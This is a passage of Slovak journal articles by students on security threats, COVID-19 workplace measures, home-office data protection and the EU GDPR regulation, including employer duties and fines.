území jednotlivých štátov a ich obyvateľov. V súčasnosti sa vnímanie bezpečnosti 
rozširuje aj na nové oblasti, ktoré dovtedy neboli vnímané ako bezpečnostné 
hrozby. K danému faktu prispieva neustále vyvíjajúca sa digitálna transformácia 
spoločnosti, ako aj svetová globalizácia. „Vojenský konflikt zrazu nebol jedinou 
bezpečnostnou hrozbou[14]. Štáty museli pri svojom strategickom plánovaní brať do 
úvahy aj ekonomický vývoj vo svete, životné prostredie či migráciu.[6]“ Vplyvom 
digitalizácie sa k uvedeným pridáva aj kybernetický priestor.  
   Okrem toho existuje niekoľko výrazných bezpečnostných hrozieb, na ktoré nie je 
treba zabúdať. Ide najmä o ozbrojený konflikt, terorizmus alebo globálnu 
ekonomickú krízu či pandémiu. Volner bezpečnostné hrozby definoval ako „také 
javy a procesy ekonomického, politického, sociálneho, vojenského, geopolitického, 
ekologického, vedecko-technického, informačného, morálno-duchovného 
charakteru na najrôznejšej úrovni spoločenského života (od individuálnej až po 
globálnu), ktoré priamo negatívne pôsobia na prírodu a spoločnosť, ohrozujú ich 
existenciu, fungovanie a rozvoj.“[22] 
   Pri pohľade na bezpečnostné hrozby je možné ich rozdeliť do niekoľkých 
základných typov. Tieto typy definoval Eichler nasledovne[4]: 
- priame (bezprostredné) - tie, ktorým je vystavený náš štát alebo my sami,  
- nepriame - dotýkajú sa spojencov, regionálnej alebo svetovej stability,  
- naliehavé - vyžadujú si neodkladnú, okamžitú reakciu,  
- latentné – nevyžadujú si okamžitú reakciu, aj napriek tomu majú potenciál 

stať sa naliehavými,  
- zámerné - vojenská agresia, teroristické útoky, ekonomické sankcie,  
- nezámerné - ekonomické krízy, epidémie a pandémie a hrozby vznikajúce v 

dôsledku plynutia prírodných činiteľov. 
   Hrozby možno vnímať aj na základe iného členenia. Poznáme taktiež hrozby 
vojenské (najzávažnejšie sú invázia a okupácia), politické (najčastejšie spájané s 
konkrétnymi hodnotami a ideológiou, resp. existenciou diktátorských režimov), 
ekonomické, environmentálne (napr. prírodné katastrofy a pod.). a spoločenské 
(založené na rozdielnom vnímaní a názoroch jednotlivých členov istých komunít či 
spoločenských skupín)[6].  
   Žijeme v modernej dobe plnej nepredvídateľných udalostí. Bezpečnosti je 
potrebné venovať zvýšenú pozornosť. Doba napreduje a spolu s ňou sú vyvíjané 
neustále nové a nové technológie, ktoré aj v rámci bezpečnosti zohrávajú dôležitú 
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úlohu. Tieto moderné technológie sú využívané najmä pri zabezpečovacích 
systémoch (alarmy, kamery, senzory a pod.), pri bezpečnosti vozidiel (nárazové 
zóny, airbag a pod.), pri bezpečnostných kontrolách na letiskách a podobne[9].  
   Bezpečnosť je úzko spätá zo zdravím jednotlivcov. V rámci Slovenskej republiky 
bezpečnosť a zdravie upravujú dva základné predpisy[18]:  
- Zákon č. 124/2006 Z. z. o bezpečnosti a ochrane zdravia pri práci a o zmene 

a doplnení niektorých zákonov 
- Zákon č. 355/2007 Z. z. o ochrane, podpore a rozvoji verejného zdravia a o 

zmene a doplnení niektorých zákonov 
   V poslednej dobe je na bezpečnosť pri práci kladený vysoký dôraz. Bezpečnosť 
a ochrana zdravia pri práci, resp. skrátene BOZP je stav pracovných podmienok 
eliminujúcich vplyv nebezpečných a škodlivých faktorov pracovného procesu 
alebo prostredia zamestnancov, ktorý si kladie za cieľ zabezpečiť bezpečnosť, 
zdravie a pracovnú schopnosť zamestnancov, ako aj prispieť k eliminovaniu škôd 
zamestnávateľa na zariadeniach, výrobkoch, v službách, pri výlukách v pracovnom 
procese a iné finančné straty. Zabezpečenie BOZP je povinnosťou každého 
zamestnávateľa. Na druhej strane aj zamestnanci musia pri práci dbať o svoju 
bezpečnosť a zdravie, ako aj o bezpečnosť a zdravie ostatných osôb[11]. 
   Vnímanie bezpečnosti možno preniesť aj do ochrany životného prostredia. 
„Ochrana životného prostredia zahŕňa činnosti, ktorými sa predchádza 
znečisťovaniu alebo poškodzovaniu životného prostredia alebo sa toto 
znečisťovanie alebo poškodzovanie obmedzuje a odstraňuje. Zahŕňa ochranu jeho 
jednotlivých zložiek alebo konkrétnych ekosystémov a ich vzájomných väzieb, ale 
aj ochranu životného prostredia ako celku.[19]“  
   Špecifickou súčasťou bezpečnosti je aj ochrana osôb a majetku. „Pri posudzovaní 
bezpečnosti firmy je potrebné myslieť aj na menej bežné situácie, ako je kriminálna 
činnosť, havárie, krízové stavy a. i. Podnikatelia z viacerých dôvodov potrebujú mať 
zabezpečené podnikateľské objekty vrátane hmotného a nehmotného majetku v 
nich. Taktiež vyplýva zo zákona (aj z prostého ľudského hľadiska) povinnosť 
chrániť svojich zamestnancov a osoby prevzaté do starostlivosti, či už na 
pracovisku, pri verejných podujatiach alebo v prípade krízových stavov (živelných 
pohrôm, havárií alebo iných núdzových stavov).“[17] 
   V spojitosti s rozširujúcou sa digitalizáciou sa čoraz častejšie skloňuje pojem 
digitálna, resp. kybernetická bezpečnosť[21]. „Kybernetickou bezpečnosťou sa 
rozumie stav, v ktorom sú siete a informačné systémy schopné odolávať na 
určitom stupni spoľahlivosti akémukoľvek konaniu, ktoré ohrozuje dostupnosť, 
pravosť, integritu alebo dôvernosť uchovávaných, prenášaných alebo 
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spracúvaných údajov alebo súvisiacich služieb poskytovaných alebo prístupných 
prostredníctvom týchto sietí a informačných systémov.“[16] 
   V neposlednom rade o nič menej dôležitou problematikou je taktiež ochrana 
osobných údajov a s tým spojená bezpečnosť. „GDPR (General Data Protection 
Regulation, skrátene teda GDPR) je univerzálne európske nariadenie, ktoré od 
25.5.2018 zavádza novú úpravu práv a povinností v oblasti spracúvania a ochrany 
osobných údajov. GDPR je záväzné pre každého, kto spracúva osobné údaje 
jednotlivcov nachádzajúcich sa v Európskej únií.“[20] Ako je z jednej z mnoho definícií 
GDPR zrejmé, podstatou tohto nariadenia je chránenie osobných údajov 
jednotlivcov pred ich neoprávneným používaním. Pod osobnými údajmi 
rozumieme najmä informácie, ktoré vytvárajú identitu fyzických osôb – 
jednotlivcov. Ide najmä o konkrétne údaje, akými sú napríklad meno, priezvisko, 
adresa, rodné číslo, e-mailová adresa či telefónne číslo konkrétnej fyzickej osoby. 
Vymenované sú len niektoré zo všetkých významných „identifikátorov“. GDPR 
považuje za osobné údaje aj také informácie, prostredníctvom ktorých je možné 
jednotlivcov jednoznačne identifikovať (napríklad zamestnanecké číslo, fotografie 
a pod.)[15]. Za citlivé informácie, ktorým je potrebné venovať zvýšenú pozornosť pri 
ich ochrane, sa však považujú aj informácie o zdravotnom stave jednotlivcov.[20] 
Práve daný typ informácií je v spojitosti s aktuálne prevládajúcim vírusovým 
ochorením COVID-19 aktuálne najviac významným. 
 
Manažment bezpečnosti a COVID-19 
   Aktuálne žijeme v dobe, ktorá je poznačená strachom zo zdravia obyvateľov na 
celom svete. Tento strach zapríčiňuje rýchlo a agresívne šíriace sa ochorenie 
COVID-19. 
   Ochorenie COVID-19, resp. KORONAVÍRUS je výrazné infekčné ochorenie, ktoré 
aktuálne trápi celý svet. Toto ochorenie je vyvolané koronavírusom SARS-CoV-2, 
pričom postihuje najmä dýchací systém človeka. Vírus sa do sveta postupne rozšíril 
z čínskeho mesta Wu-chan, v ktorom sa prví infikovaní pacienti objavili už v 
decembri roku 2019. Vplyv, ako aj priebeh vírusu na ľudský organizmus je rôzny u 
každého človeka. Faktom však je, že tento vírus môže viesť až k úmrtiu pacienta. 
Ďalším dôležitým faktorom je šíriteľnosť daného vírusu prostredníctvom kvapôčok 
sekrétu pri kašli, kýchaní a rozprávaní, čo má za následok rýchly presun vírusu z 
človeka na človeka pri bezprostrednom kontakte daných osôb.[8]  
   Od začiatku prepuknutia vírusu je vývoj šírenia nákazy vo svete stále pomerne 
vážny. Oproti iným krajinám sa Slovensko snaží zavádzať viacero bezpečnostných 
opatrení, ktoré majú zabrániť rapídnemu šíreniu vírusu. Opatrenia sa však menia a 
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upravujú v čase podľa závažnosti aktuálnej situácie. V súčasnosti sa Slovensko 
nachádza v čiernej, najzávažnejšej, fáze tzv. COVID automatu.    
   Dbanie na bezpečnosť sa týka každého jedného jednotlivca. Je nesmierne 
dôležité zamerať sa na dodržiavanie stanovených opatrení a základných 
hygienických pravidiel (rúško – odstup - ruky). Ochrana a bezpečnosť zdravia je 
prioritou každého z nás. Dôležité je byť taktiež ohľaduplným k ostatným a správať 
sa zodpovedne.    
   Jednou z najviac dotknutých skupín sú taktiež zamestnávatelia. Práve oni musia 
pristúpiť k zásadným opatreniam, prostredníctvom ktorých na jednej strane 
zabezpečia ochranu zdravia svojich zamestnancov, a na strane druhej aj ochranu 
ich osobných údajov, resp. údajov o ich zdravotnom stave[13]. Medzi základné 
opatrenia, ktoré by mali spoločnosti vykonať možno zaradiť: 
- Spoločnosti by mali pri vstupe do ich kancelárskych priestorov zabezpečiť 

najmä infografiky ohľadom nosenia ochranných rúšok, dezinfekčné 
prípravky na ruky, meranie telesnej teploty, v prípade recepcie či vrátnice je 
vhodné využiť zabezpečenie prostredníctvom ochranných plexiskiel, 
vyznačenie dvojmetrových odstupov a podobne. Pri vstupe zamestnancov 
do kancelárskych priestorov je vhodné zabezpečiť zoznam ľudí, ktorí sa v 
určitom čase v priestoroch nachádzali (elektronická forma – príchod a 
odchod zaznamenaný ID kartou alebo čipom / tlačená forma – zamestnanci 
vypĺňajú čas príchodu a odchodu ručne) a pod. 

- Spoločnosti by si mali pre svoje interné potreby vypracovať vlastný 
pandemický plán, ktorý by obsahoval informácie o tom, kedy zostať doma, 
komu hlásiť, aké opatrenia treba urobiť nasledovne vo firme pre 
zabezpečenie nešírenia nákazy, ale aj zachovania fungovania firmy a pod. 
Následne je potrebné o tomto pláne ako aj o symptómoch / príznakoch 
respiračného ochorenia informovať všetkých zamestnancov.  

- Spoločnosti by mali eliminovať pohyb zamestnancov na pracovisku pokiaľ 
to charakter vykonávanej práce dovoľuje. Spoločnosti by mali zvážiť 
zavedenie možnosti práce z pohodlia domova (home office) pre 
zamestnancov.   

- Spoločnosti by mali zabezpečiť zvýšenú hygienu kancelárskych priestorov – 
pravidelnú dezinfekciu povrchov, kľučiek, zábradlí, pracovných plôch a 
pomôcok a iných plôch a predmetov.  

- Spoločnosti by mali eliminovať a obmedziť, ak je to možné, fyzický kontakt 
so zákazníkmi a medzi zákazníkmi. Napríklad prostredníctvom on-line alebo 
telefonických objednávok, bezkontaktného doručovania alebo riadeného 
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vstupu (pričom je tiež potrebné zabrániť zhromažďovaniu mimo areálu) a 
fyzického odstupu vnútri aj mimo areálu.  

- Zabezpečenie primeraného a častejšieho vetrania kancelárskych priestorov.  
- V súčasnosti je vhodné pravidelne vyžadovať od zamestnancov negatívne 

testy.  
   V spojitosti s aktuálnou situáciou a bezpečnosťou je na mieste otázka ochrany 
osobných údajov. Pri COVID-19 sa medzi osobné údaje, ako aj údaje týkajúce sa 
zdravia príslušnej dotknutej osoby zaraďujú najmä:[7]  
- údaje týkajúce sa práceneschopnosti zamestnanca v kontexte nákazy 

COVID-19, 
- údaje indikujúce pobyt zamestnanca v  oblastiach označených ako vysoko 

rizikové z pohľadu možnej nákazy vírusom, 
- údaje ohľadom možného kontaktu s osobou s podozrením na nákazu 

COVID-19, 
- údaje získavané v súvislosti s meraním telesnej teploty pri vstupe do 

priestorov zamestnávateľa. 
   Pri spracovávaní osobných údajov o zdravotnom stave je spoločnosť povinná 
informovať zamestnancov, a taktiež všetky dotknuté osoby, o podmienkach a 
spôsobe spracovávania daných údajov. „Zamestnávatelia sú povinní vyžadovať 
zdravotné informácie iba v rozsahu, v akom to vnútroštátne právne predpisy 
umožňujú a prísne dodržiavať zásadu minimalizácie spracúvaných dát.“[1] Pod 
zásadou minimalizácia rozumieme spracovávanie iba tých osobných údajov o 
zdravotnom stave, ktoré sú relevantné a nevyhnutné pre zabránenie šírenia vírusu, 
a to iba na nevyhnutne dlhú dobu. 
   Zozbierané informácie o zdravotnom stave svojich zamestnancov je 
zamestnávateľ povinný chrániť, t.j. zabezpečiť také opatrenia na ochranu 
osobných údajov, aby dané údaje nemohli byť zneužité. Tretím osobám môže 
zamestnávateľ poskytnúť dané osobné údaje o zdravotnom stave zamestnancov 
iba vtedy, ak je to nevyhnutné a má na to zákonný dôvod. Ak je to nevyhnutné z 
dôvodov verejného záujmu v oblasti verejného zdravia, môže zamestnávateľ tieto 
údaje následne poskytnúť napr. nemocnici alebo orgánom činným v trestnom 
konaní. V žiadnom prípade zamestnávateľ nemá právo poskytovať dané osobné 
údaje o tom, kto je konkrétne nakazený, médiám či verejnosti.[12] 
   V súčasnej situácií mnoho zamestnávateľov umožňuje svojim zamestnancom 
prácu z pohodlia domova. Väčšina zamestnávateľov však nebola vopred 
pripravená na hromadné zavádzanie práce prostredníctvom „home office“. V 
tomto prípade je na mieste otázka ochrany spracúvaných dát, nakoľko 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

78  http://www.manazerskainformatika.sk 
 

zamestnanci pracujú prostredníctvom počítačov pripojených do bežných 
domácich internetových sietí bez zvýšenej úrovne zabezpečenia. Túto úroveň 
zabezpečenia zamestnávateľ nevie ovplyvniť, a tak môže ľahko dôjsť k úniku 
daných osobných údajov. Pri práci mimo kancelárskych priestorov 
zamestnávateľa sa k citlivým údajom môžu omnoho ľahšie dostať taktiež aj iné 
osoby.  
   Zamestnávatelia by mali svoju pozornosť upriamiť najmä na aktualizáciu 
bezpečnostnej firemnej politiky, pravidiel nakladania s citlivými informáciami a 
prijať vhodné opatrenia. Dané opatrenia je potrebné následne náležite 
zdokumentovať a informovať o nich všetky zainteresované strany.[1] S 
obmedzenosťou firemných prevádzok sú úzko späté aj mnohé riziká, ktoré možno 
zaradiť do piatich základných kategórií:[3] 
- infraštruktúrne riziká, 
- kybernetické riziká, 
- zamestnanecké riziká, 
- obchodné a prevádzkové riziká, 
- komunikačné riziká. 
 
Záver 
   Pandémia nás aktuálne prinútila žiť v dobe plnej nepredvídateľných udalostí. 
Preto je potrebné dbať zvýšený ohľad na bezpečnosť nás a ľudí v našom okolí. Z 
pohľadu štátov je potrebné vytvárať jasné a priame opatrenia, pomocou ktorých 
sa podarí šírenie vírusu zastaviť. Dôležitá je aj otvorená komunikácia daných 
opatrení voči širokej verejnosti.   
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IMPLEMENTÁCIA GDPR V ČASE PANDEMIE 
 
IMPLEMENTATION GDPR DURING PANDEMIC 
 
Jakub Juríčka 
 
Abstract 
   The main goal of this paper is drescibe how organisations deal with personal data 
protection and implementing GDPR during pandemic. 
 
Key words: Implementation, gdpr, pandemic 
 
Abstrakt 
   Hlavným cieľom tejto semestrálnej práce je popísať ako organizácie dodržujú 
ochranu osobných údajom a implementujú GDPR počas pandémie 
 
Kľúčové slová: Implementácia, gdpr, pandémia 
 
Úvod 
   GDPR (General Data Protection Regulation) je všeobecné nariadenie na ochranu 
osobných údajov.[12] Je to nariadenie Európskej únie, ktoré nadobudlo účinnosť 25. 
mája 2018 a nahradilo vtedajší zákon o ochrane osobných údajov. GDPR sa dotýka 
každého, kto zhromažďuje a spracováva osobné údaje Európanov, vrátane 
spoločností a inštitúcií mimo EÚ, ktoré pôsobia na našom trhu. Nariadenie je platné 
pre firmy, inštitúcie, jednotlivcov – zamestnancov, zákazníkov, klientov aj 
dodávateľov naprieč všetkými odvetviami. Rovnako sa týka aj tých, ktorí analyzujú 
chovanie užívateľov webov a aplikácií.[1] 
   V roku 2020, s príchodom pandémie Covid 19, mnoho firiem začalo riešiť ako 
správne spracúvať údaje týkajúce sa zdravia svojich zamestnancov a  ako by mal 
zamestnávateľ pristupovať k informáciám o zdravotnom stave zamestnanca bez 
toho, aby porušil právne predpisy.[3]  
 
Prezenčný výkon práce 
   Mnoho ľudí náplň svojej práce musí vykonávať na sídle pracoviska[6]. Do tejto 
skupiny zamestnania patria napríklad gastro prevádzky, automobilky, priemyselná 
výroba atď. Tým pádom prichádza do styku väčšia skupina ľudí na pracovisku a je 
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potreba chrániť zamestnancov voči riziku nákazy. Aby sa znížilo riziko nákazy 
zamestnávateľ môže vyžadovať od zamestnanca niekoľko údajov. Medzi údaje o 
zamestnancoch, ktoré zamestnávateľ spracúva v súvislosti s COVID-19, môžu 
patriť:[8] 
- údaje týkajúce sa práceneschopnosti zamestnanca v kontexte nákazy 

COVID-19, 
- údaje indikujúce pobyt zamestnanca v  oblastiach označených ako vysoko 

rizikové z pohľadu možnej nákazy vírusom, 
- údaje ohľadom možného kontaktu s osobou s podozrením na nákazu 

COVID-19, 
- údaje získavané v súvislosti s meraním telesnej teploty pri vstupe do 

priestorov zamestnávateľa. 
   Nakoľko sa jedná o informácie, ktoré sa týkajú konkrétneho zamestnanca, musia 
byť posudzované v zmysle GDPR ako osobné údaje. Zároveň tieto údaje majú 
potenciálnu väzbu na zdravotný stav zamestnanca, a preto ich možno radiť medzi  
údaje týkajúce sa zdravia príslušnej dotknutej osoby.[8] 
   V krajinách, kde je vírus rozšírený najviac prijali opatrenia tamojšie DPA (Data 
protection authorities), ktoré konštatovali, že nie je vhodné, aby zamestnávatelia 
systematicky zbierali údaje o zdravotnom stave svojich zamestnancov[2]. Tento 
záver je logický, keďže k tomu sú poverené nemocnice, lekári, úrady verejného 
zdravia a pod. 
   Na druhej strane, zamestnanci môžu byť v rámci pracovnoprávneho vzťahu 
zaviazaní k tomu, aby informovali zamestnávateľa o rizikách týkajúcich sa ich 
zdravotného stavu. V každom prípade je však potrebné dbať na základné zásady 
spracúvania osobných údajov a ustanovenia čl. 9 Nariadenia GDPR, ktoré upravuje 
spracúvanie osobitných kategórií osobných údajov, ku ktorým patria údaje o 
zdravotnom stave.[5] 
   Írska DPA sa vyjadrila aj k získavaniu údajov o predchádzajúcich cestách 
zamestnancov a návštevníkov vstupujúcich do budovy. V rámci Írskeho právneho 
poriadku majú zamestnávatelia povinnosť chrániť svojich zamestnancov, preto sa 
v rámci ich jurisdikcie môže zamestnávateľ dopytovať na informácie o 
predchádzajúcich cestách, prípadne symptómoch.[8] 
   Podľa EPDS – Európskeho dozorného úradníka pre ochranu údajov je možné 
zamestnancom merať teplotu. „Základná kontrola telesnej teploty“  je určená iba 
na meranie telesnej teploty prostredníctvom neautomatizovaných prostriedkov, po 
ktorej nenasleduje registrácia, dokumentácia alebo iné spracúvanie osobných 



  Manažérska Informatika  
ISSN 2729-8310, ročník 1, číslo 2 

83  http://www.manazerskainformatika.sk 
 

údajov jednotlivca. Takáto kontrola by v zásade nepodliehala rozsahu pôsobnosti 
nariadenia.“, vyplýva z usmernenia EPDS.[8] 
 
Home Office  
   Boj proti epidémii COVID-19 spôsobil, že veľká väčšina podnikateľov, ktorí pôsobia 
v sektore IT, účtovníctvo, bankovníctvo, zaviedla aspoň do istej miery možnosť 
zamestnancom prácu z domu, tzv. Home Office. Home Office má zabrániť alebo 
obmedziť styk viacerých ľudí na pracovisku a tým znížiť mobilitu aby zabránili 
šírenie vírusu.  
   Home office ako inštitút nebol v zákone č. 311/2001 Z. z. Zákonníku práce v znení 
neskorších predpisov (ďalej len „Zákonník práce“) bližšie rozpracovaný, a to do 
času prijatia zákona č. 66/2020 Z. z., ktorým sa dopĺňa zákon č. 311/2001 Z. z. 
Zákonník práce v znení neskorších predpisov a ktorým sa dopĺňajú niektoré zákony 
(ďalej len „novela“). Novela Zákonníka práce bola prijatá s cieľom umožnenia 
flexibilnejšieho reagovania zamestnávateľov na dynamické zmeny, ktoré 
ovplyvňujú organizáciu práce, ale aj s cieľom ochrany zamestnancov pri niektorých 
úpravách v oblasti pracovného času.[4] 
   Novelou bol do Zákonníka práce včlenený § 250b, ktorý ustanovuje možnosť 
zamestnávateľa prikázať prácu z domu (z domácnosti) zamestnanca, ak:[7] 
- ide o činnosť, u ktorej je to možné a 
- ak práca na pracovisku nie je možná, nevyhnutná, prípadne je riziková z 

dôvodu prevencie šírenia prenosnej choroby a 
- zamestnanec takýto výkon práce z domácnosti prípadne bezdôvodne 

odmieta (dohoda strán pritom nie je týmto ustanovením vylúčená). 
   Taktiež sa ustanovuje právo zamestnanca na výkon práce z domácnosti, a to za 
podmienky, že: 
- povaha práce to umožňuje a 
- nebránia tomu vážne prevádzkové dôvody (napr. potreba prítomnosti časti 

zamestnancov na pracovisku).[4] 
   Zavedenie home office pre viac zamestnancov, prípadne pre celú firmu, nie je 
také jednoduché a ide o určitý proces, ktorý so sebou prináša povinnosti pre 
zamestnávateľa i v oblasti ochrany osobných údajov a ich bezpečnosti. Pri práci z 
domu pritom hrozí vyššie riziko úniku, straty osobných údajov, či iné bezpečnostné 
incidenty, ktoré môžu mať dopad na ochranu osobných údajov. Zamestnávatelia 
by preto mali zvýšiť ochranu osobných údajov a poučiť zamestnancov o 
manipulácii s nimi v domácom prostredí.[9] 
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   GDPR nezakazuje prácu z domu. GDPR a ani žiaden úrad priamo neruší možnosti 
prenášania pracovných notebookov a ani nezavádza zákazy narábania s 
osobnými údajmi v pracovných zariadeniach, ktoré sú mimo pracoviska. Tvrdí to 
skôr neznalosť zamestnávateľov, alebo náklady na dokumentáciu a stanovenie 
pravidiel. Je preto dôležité kontaktovať sprostredkovateľa GDPR dokumentácie, 
alebo Úrad pre ochranu osobných údajov, aby spoločnosti a zamestnávateľovi 
predostrel podoby pravidiel a dokumentácie pre prácu z domu, pokiaľ je potrebné 
v spoločnosti riešiť oprávnenia.[10] 
 
Záver 
   Pri spracúvaní osobných údajov v súvislosti s ochoreniami a mimoriadnymi 
situáciami možno aplikovať aj právny základ, ktorí nie je bežne využívaný – 
ochrana životne dôležitých záujmov.[11] Je však dôležité plniť všetky povinnosti 
vyplývajúce z GDPR Nariadenia – od zásad, cez informačnú povinnosť až po 
bezpečnosť na všetkých úrovniach. K tomu je potrebné mať prijaté interné postupy 
a dokumenty k ochrane osobných údajov. 
   Pri home-office zamestnancov pomôžu k dodržiavaniu povinností, prípadne 
plneniu bezpečnostných opatrení napríklad návody pre zamestnancov – ako 
spracúvať osobné údaje a na čo si dať pozor – zabezpečiť listinné dokumenty a 
zariadenie, používať firemnú VPN, zálohovať na firemnom cloude a pod. 
   Tieto opatrenia zmierňujú riziká bezpečnostných incidentov alebo porušenia 
ochrany osobných údajov.[8] 
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OCHRANA OSOBNÝCH ÚDAJOV V ZMYSLE GDPR 
 
PERSONAL DATA PROTECTION ACCORDANCE WITH GDPR 
 
Orsolya Kürti 
 
Abstract 
   The aim of the article is to characterize the GDPR regulation, which was 
introduced in 2018. The work will explain the regulation, how it effects the consumers 
and the companies and what major changes it brought. The thesis will also deal 
with the fines that the GDPR regulation brought and they serve as motivation. 
 
Key words: internet, internet security, GDPR 
 
Abstrakt 
   Cieľom článku je charakterizovať nariadenie GDPR, ktoré bolo zavedené v roku 
2018. V práci bude vysvetlené nariadenie, aké má dopady na spotrebiteľov a 
spoločnosti a aké zásadné zmeny priniesol. Práca sa bude zaoberať aj pokutami, 
ktoré prinieslo nariadenie GDPR a slúžia ako motivácia. 
 
Kľúčové slová: internet, ochrana na internete, GDPR 
 
Úvod 
   Dátové súkromie ako koncept neexistovalo až do konca dvadsiateho storočia, 
kedy sa zrodil internet a jeho exponenciálna miera prijatia prostredníctvom 
počítačov a mobilných telefónov. Do tej doby sa súkromie vo veľkej miere 
vzťahovalo na fyzickú existenciu a informácie súvisiace s jednotlivcom, jeho 
domovom, dokumentmi a osobným životom. S vývojom technológií nie je 
vytváranie hraníc v súčasnom spoločenskom prostredí v žiadnom prípade ľahká 
úloha. Musíme expanzívne myslieť na vytvorenie rámca, kde je zverejnenie, 
zdieľanie a použitie našich informácií transparentné a v ich každodennom živote je 
možné riadiť diskrétnosť[1]. Je pomerne jednoduché vytvárať a presadzovať 
zákony proti premyslenému a nezákonnému použitiu nášho súkromia alebo 
osobných údajov. napr. hacker získavajúci dôverné údaje prostredníctvom 
počítačového vniknutia.[1] Zneužívanie osobných súkromných údajov vyvolali v 
modernej dobe potrebu nariadenia, ako je aj Všeobecné nariadenie o ochrane 
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údajov (GDPR), ktoré je najprísnejším zákonom o ochrane súkromia a bezpečnosti 
na svete. Výhodou GDPR je jeho schopnosť regulovať podniky, ktoré 
nedodržiavajú pravidlá. Pokuta môže byť vymedzovaná, ak organizácia 
nespracúva údaje jednotlivca správnym spôsobom, alebo narušuje bezpečnosť 
užívateľa. 
 
GDPR nariadenie 
   Nariadenie GDPR je pokladané za jeden z najväčších legislatívnych úspechov 
Európskej únie za posledné roky. Nariadenie sa teraz stalo referenčným bodom 
pre mnoho krajín mimo Európy, ako sú Čile, Južná Kórea, Brazília, Japonsko, Keňa, 
India, Indonézia a Taiwan. Nadnárodné spoločnosti tiež dobrovoľne dodržiavajú 
nariadenie GDPR, aby ušetrili na nákladoch na dodržiavanie predpisov, čím zvyšujú 
globálne štandardy ochrany osobných údajov pre všetkých používateľov.[7]  
   Všeobecné nariadenie o ochrane údajov (GDPR) je najprísnejším zákonom o 
ochrane súkromia a bezpečnosti na svete. Aj keď to bolo navrhnuté a schválené 
Európskou úniou (EÚ), ukladá povinnosti organizáciám kdekoľvek, pokiaľ sa 
zameriavajú alebo zhromažďujú údaje týkajúce sa ľudí v EÚ. Nariadenie vstúpilo 
do platnosti 25. mája 2018. V podmienkach SR sa premietlo do osobitného zákona 
č. 18/2018 Z. z. o ochrane osobných údajov účinného od toho istého dňa. Tento 
zákon nahradil dovtedy platný zákon č. 122/2013 Z. z. o ochrane osobných údajov. 
Smernica potvrdzuje právo na ochranu osobných údajov a základné zásady, ktoré 
by sa mali vzťahovať na spracovanie údajov, pričom sa dôsledne riadia pravidlami 
a zásadami zakotvenými vo všeobecnom nariadení o ochrane údajov. Práva 
fyzických osôb a povinnosti uložené kontrolórom - napríklad v súvislosti so 
zabezpečením údajov, ochranou údajov už v štádiu návrhu a predvoleným 
nastavením a oznámeniami o porušení ochrany údajov - sa podobajú právam a 
povinnostiam vo všeobecnom nariadení o ochrane údajov.[3] Smernica tiež 
zohľadňuje a snaží sa riešiť vážne vznikajúce technologické výzvy, ktoré môžu mať 
obzvlášť nepriaznivý dopad na jednotlivcov, napríklad použitie povoľovacích 
postupov orgánmi činnými v trestnom konaní. V zásade musia byť zakázané 
rozhodnutia založené výlučne na automatizovanom spracovaní vrátane 
profilovania. Okrem toho nesmú vychádzať z citlivých údajov. Takéto zásady 
podliehajú určitým výnimkám stanoveným v smernici. Takéto spracovanie nesmie 
navyše viesť k diskriminácii žiadnej osoby.[2] 
   Dôvodom, prečo boli potrebné nové právne predpisy, je to, že pôvodná smernica 
z roku 1995 bola formulovaná v dobe, ktorá sa javí ako iná technologická doba. V 
tom čase používalo internet iba 1% svetovej populácie, dnes je však v EÚ takmer 
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všadeprítomná. Cloudové výpočty a sociálne médiá vtedy neboli známe, takisto to 
neboli ani smartfóny či tablety. Prevažná väčšina informácií sa dnes vyrába a 
spotrebúva elektronicky, čo sťažuje ich ochranu. 
   Hlavné zmeny Nariadenie GDPR rozširuje rozsah ochrany údajov tak, aby ich 
ktokoľvek alebo akákoľvek organizácia zhromažďujúca a spracúvajúca 
informácie týkajúce sa občanov EÚ dodržiavala bez ohľadu na to, kde sa 
nachádzajú alebo kde sú údaje uložené. Cloudové úložisko nie je výnimkou. 
Rozšírila sa aj definícia osobných údajov. Uvádza sa v ňom, že osobné údaje 
zahŕňajú informácie, na základe ktorých je možné priamo alebo nepriamo 
identifikovať osobu. Podľa novej definície sú identifikátory, ako sú IP adresy a 
súbory cookie, zahrnuté ako osobné informácie[10]. Pred nariadením GDPR 
neexistovali jednotné právne predpisy týkajúce sa oznámení o porušení, s 
výnimkou poskytovateľov služieb elektronickej komunikácie podľa smernice o 
elektronickej bezpečnosti. Niektoré krajiny pridali do svojich právnych predpisov 
opatrenia, ktoré sa majú vzťahovať na oznámenia o porušení, ale nie všetky. GDPR 
zavádza povinné oznámenie o porušení, pokiaľ je nepravdepodobné, že porušenie 
povedie k riziku pre práva a slobody dotknutých osôb. Obzvlášť závažná 
požiadavka nového nariadenia je, že organizácie, ktoré utrpeli porušenie ochrany 
údajov, musia informovať orgány na ochranu údajov do 72 hodín od jeho zistenia.[8] 
Oproti existujúcej legislatíve, dopad nariadenia GDPR nie je citeľný po obsahovej 
stránke, povinnosti spracúvania osobných údajov sa vzťahujú na nakladanie s 
klasickými papierovými dokumentami, rovnako ako na počítačové databázy a 
prenosy, teda na typické operácie internetových obchodov s osobnými údajmi. 
   Jednou z najväčších a najviac sa najpotrebnejších prvkov GDPR je schopnosť 
regulačných orgánov zasiahnuť voči podnikom, ktoré ho nedodržiavajú stanoviť  
im vysoké pokuty. Ak organizácia nespracúva údaje jednotlivca správnym 
spôsobom, môže byť pokutovaná. Ak to vyžaduje. ale nemá úradníka pre ochranu 
osobných údajov, môže vám byť takisto uložená pokuta. Ak dôjde k narušeniu 
bezpečnosti, môže byť spoločnosť rovnako pokutovaná.[6]  
   Jedna z najvyšších pokút podľa GDPR bola doteraz proti spoločnosti Google: 
francúzsky regulátor ochrany údajov, Národná komisia pre ochranu údajov (CNIL), 
pokutoval spoločnosť na  50 miliónov EUR. CNIL uviedol, že pokuta bola udelená z 
dvoch hlavných dôvodov: Google neposkytoval používateľom dostatok informácií 
o tom, ako využíva údaje, ktoré získava od 20 rôznych služieb, a tiež nezískava 
riadny súhlas so spracovaním údajov používateľa.[9] 
   Na Slovensku úrad na ochranu osobných údajov SR môže uložiť dva druhy 
sankcií:[4]  
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1. pokutu za správne delikty (za priame porušenie GDPR), 
2. poriadkovú pokutu za nesplnenie ním uloženého opatrenia (za nesplnenie 

predchádzajúceho opatrenia uloženého úradom). 
   Nariadenie ustanovilo možnosť ukladať pokuty až do výšky niekoľkých miliónov 
eur (napr. za závažné porušenie najviac do výšky 20 000 000 eur). Každé porušenie 
GDPR alebo nového zákona o ochrane osobných údajov musí byť hneď uložená 
